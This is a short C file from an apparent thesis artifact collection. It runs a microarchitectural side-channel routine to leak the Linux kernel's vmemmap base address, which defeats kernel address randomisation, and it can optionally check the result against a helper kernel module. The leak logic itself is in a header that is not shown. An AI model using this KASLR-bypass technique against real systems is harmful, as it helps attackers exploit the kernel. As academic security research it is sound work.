thesis/artifacts/generic/vmemmap_leak.c
2025-02-13 20:12:31 +01:00

35 lines
No EOL
948 B
C

#include "coarse_grain_leak.h"
// #define VALIDATE
#ifdef VALIDATE
#include "ulkm.h"
#endif
#define TRIES 30
int main(void)
{
/* warmup */
#ifdef VALIDATE
size_t vmemmap_base = 0;
lkm_init();
lkm_vmemmap_leak((size_t)&vmemmap_base);
init_tlb_flush();
// size_t stack;
// lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page
// DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100);
// THRESHOLD = t.lower;
#endif
for (volatile size_t i = 0; i < (1ULL << 30); ++i);
/* leaking */
size_t found = 0;
size_t addr = vmemmap_leak_found(TRIES, &found);
printf("%016zx\n", addr);
#ifdef VALIDATE
if (vmemmap_base != addr) {
printf("[!] vmemmap base wrong found %016zx to vmemmap_base %016zx\n", addr, vmemmap_base);
return 0;
}
#endif
return found ? 1 : -1;
}